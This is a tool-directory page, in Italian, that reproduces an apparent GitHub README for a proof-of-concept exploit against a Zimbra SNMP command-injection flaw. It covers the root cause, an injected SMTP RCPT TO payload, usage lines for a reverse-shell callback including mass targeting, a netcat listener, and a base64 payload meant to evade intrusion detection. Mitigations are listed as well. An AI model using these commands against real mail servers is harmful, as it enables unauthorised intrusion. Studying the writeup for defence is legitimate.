Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-73570 — Zimbra SNMP Notification OS Command Injection — RCE non autenticato tramite exploit SMTP (Poc) | Kitploit
Strumenti/GitHubGitHub/gabrielunknown/cve-2026-73570
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingRed TeamingStrumento di Accesso Remoto
GitHubgabrielunknown/cve-2026-73570

CVE-2026-73570

Zimbra SNMP Notification OS Command Injection — RCE non autenticato tramite exploit SMTP (Poc)

Vedi Repository
41921 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-73570 — Exploit RCE per Zimbra ZCS SNMP Notification (PoC)

Esecuzione di codice in remoto non autenticata tramite OS Command Injection nel gestore delle notifiche SNMP di Zimbra Collaboration Suite.


Panoramica

CampoValore
CVECVE-2026-73570
CVSS 3.18.9 HIGH — AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L
CWECWE-78 — Neutralizzazione impropria di elementi speciali usati in un comando di sistema operativo
AffectedZimbra ZCS < 10.1.20 (con zimbra-snmp installato)
Fixed inZCS 10.1.20 — Luglio 2026
CISA KEVAggiunto il 2026-08-21 (scadenza per la remediation FCEB: 2026-08-24)
Auth requiredNessuna
Execution asUtente di sistema operativo zimbra

Causa principale

Il pacchetto opzionale zimbra-snmp include una regola swatchdog che monitora /var/log/zimbra.log per individuare righe corrispondenti a:

Service status change: <NAME> changed from <STATE> to <STATE>

Quando viene trovata una corrispondenza, swatchdog passa il campo <NAME> catturato direttamente allo script shell di notifica SNMP senza alcuna sanificazione.

Un attaccante non autenticato può iniettare una voce di log appositamente costruita inviando un comando SMTP RCPT TO appositamente formato. Utilizzando una local-part tra virgolette secondo RFC 5321, i metacaratteri della shell — ad es. $(...) — vengono incorporati all'interno di <NAME> ed eseguiti quando swatchdog elabora la riga di log risultante.


Pre-condizioni

Tutte e tre le condizioni devono essere vere sul target affinché la vulnerabilità sia sfruttabile:

  • il pacchetto zimbra-snmp è installato
  • le notifiche SNMP sono abilitate (snmp_notify = true)
  • il servizio swatchdog è in esecuzione

Flusso dell'attacco

Attacker                          Zimbra MTA
   │                                  │
   │── TCP connect :25/:465/:587 ────►│
   │── EHLO mx-test.invalid ─────────►│
   │── MAIL FROM:<scanner@...> ──────►│
   │── RCPT TO:<"x: Service status    │
   │     change: localhost $(CMD)     │
   │     changed from stopped to      │
   │     running"@cve.invalid> ──────►│
   │                                  │── logs RCPT TO data ──► /var/log/zimbra.log
   │                                  │                               │
   │                                  │                         swatchdog matches
   │                                  │                         pattern, extracts
   │                                  │                         $(CMD), executes
   │◄─────────── shell callback ───────────────────────────────────────┘
  1. Connettersi alla porta 25 / 465 / 587.
  2. Inviare una conversazione SMTP standard con il RCPT TO weaponizzato.
  3. Zimbra registra i dati dell'indirizzo indipendentemente dall'accettazione o dal rifiuto.
  4. swatchdog individua il pattern nel log ed estrae il $(CMD) iniettato.
  5. L'handler SNMP esegue CMD come utente di sistema zimbra.

Exploit

Requisiti

cpan IO::Socket::SSL MIME::Base64 Digest::HMAC_MD5

o tramite apt-get

apt-get install libio-socket-ssl-perl libmime-base64-perl libdigest-hmac-perl

o tramite yum

yum install perl-IO-Socket-SSL perl-MIME-Base64 perl-Digest-HMAC

Target singolo

perl zimbra-poc.pl -H mail.target.com -r <YOUR_IP> -R 4444

Elenco dei target

perl zimbra-poc.pl -f targets.txt -r <YOUR_IP> -R 4444

targets.txt — un host per riga, :port opzionale, le righe che iniziano con # vengono ignorate:

mail.example.com
mail.example.com:25
10.0.0.50:587
# ignored comment

Tutte le opzioni

FlagLongDefaultDescrizione
-H--host—Singolo hostname o IP di destinazione
-f--file—File contenente la lista dei target
-p--port587Porta SMTP predefinita
-r--rhost—Il tuo IP per il callback della reverse shell
-R--rport4444Porta del listener
-t--timeout15Timeout del socket in secondi
-S--ssloffTLS diretto (attivato automaticamente sulla porta 465)
-v--verboseoffStampa il dialogo SMTP completo
-L--logfile—Scrive il log della sessione su file
-h--help—Mostra l'aiuto

Esempio completo

# Terminal 1 — start listener
nc -lvnp 4444

# Terminal 2 — run exploit
perl zimbra-poc.pl -H mail.target.com -r 10.10.10.1 -R 4444 -v

Tecnica del payload

Il comando della reverse shell viene codificato in base64 prima dell'iniezione:

echo <b64>|base64 -d|bash

Ciò impedisce a IDS/IPS di rilevare firme in testo in chiaro come /dev/tcp, bash -i o nc -e. Il blob codificato viene iniettato come $(...) all'interno della local-part tra virgolette di RCPT TO, innescando l'esecuzione lato server quando swatchdog elabora la voce di log.


Mitigazione

AzioneDettaglio
PatchAggiornare a Zimbra ZCS ≥ 10.1.20
Disabilitare SNMP notifyzmprov mcf zimbraSnmpNotifyEnabled FALSE && zmconfigdctl restart
Rimuovere il pacchettoapt remove zimbra-snmp / yum remove zimbra-snmp
Controlli di reteLimitare l'SMTP in ingresso (25/465/587) ai relay attendibili, ove operativamente fattibile

Riferimenti

  • NVD — CVE-2026-73570
  • Zimbra Security Advisories
  • CISA Known Exploited Vulnerabilities — CVE-2026-73570
  • CERT.pl advisory
  • BiuTrap/CVE-2026-73570

Disclaimer

Questo proof-of-concept è rilasciato esclusivamente per test di sicurezza autorizzati, ricerca accademica e scopi difensivi.
Eseguirlo contro sistemi di cui non si è proprietari o per i quali non si dispone di esplicita autorizzazione scritta ai test è illegale.
L'autore non si assume alcuna responsabilità per qualsiasi uso improprio o danno causato da questo strumento.


Scarica lo strumento